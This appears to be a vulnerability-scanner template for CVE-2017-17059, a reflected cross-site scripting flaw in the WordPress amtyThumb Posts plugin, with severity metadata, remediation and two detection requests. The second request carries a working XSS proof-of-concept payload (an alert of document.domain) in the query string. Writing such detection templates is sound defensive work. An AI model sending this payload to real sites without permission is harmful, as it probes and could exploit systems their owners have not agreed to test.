WordPress amtyThumb Posts 8.1.3 - Cross-Site Scripting

id: CVE-2017-17059

info:
  name: WordPress amtyThumb Posts 8.1.3 - Cross-Site Scripting
  author: daffainfo
  severity: medium
  description: WordPress amty-thumb-recent-post plugin 8.1.3 contains a cross-site scripting vulnerability via the query string to amtyThumbPostsAdminPg.php.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary JavaScript code in the context of the victim's browser.
  remediation: |
    Update to the latest version of amtyThumb Posts plugin or apply the patch provided by the vendor.
  reference:
    - https://github.com/NaturalIntelligence/wp-thumb-post/issues/1
    - https://packetstormsecurity.com/files/145044/WordPress-amtyThumb-8.1.3-Cross-Site-Scripting.html
    - https://nvd.nist.gov/vuln/detail/CVE-2017-17059
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2017-17059
    cwe-id: CWE-79
    epss-score: 0.00242
    epss-percentile: 0.642
    cpe: cpe:2.3:a:amtythumb_project:amtythumb:*:*:*:*:*:wordpress:*:*
  metadata:
    max-request: 2
    vendor: "amtythumb_project"
    product: amtythumb
    framework: wordpress
  tags: cve2017,cve,xss,wp-plugin,packetstorm,wordpress,amtythumb_project
flow: http(1) && http(2)

http:
  - raw:
      - |
        GET /wp-content/plugins/amty-thumb-recent-post/readme.txt HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: word
        internal: true
        words:
          - 'Amty Thumb'
          - 'Tags:'
        condition: and
        case-insensitive: true

  - method: POST
    path:
      - "{{BaseURL}}/wp-content/plugins/amty-thumb-recent-post/amtyThumbPostsAdminPg.php?%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E=1"

    body: "amty_hidden=1"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "</script><script>alert(document.domain)</script>"

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200
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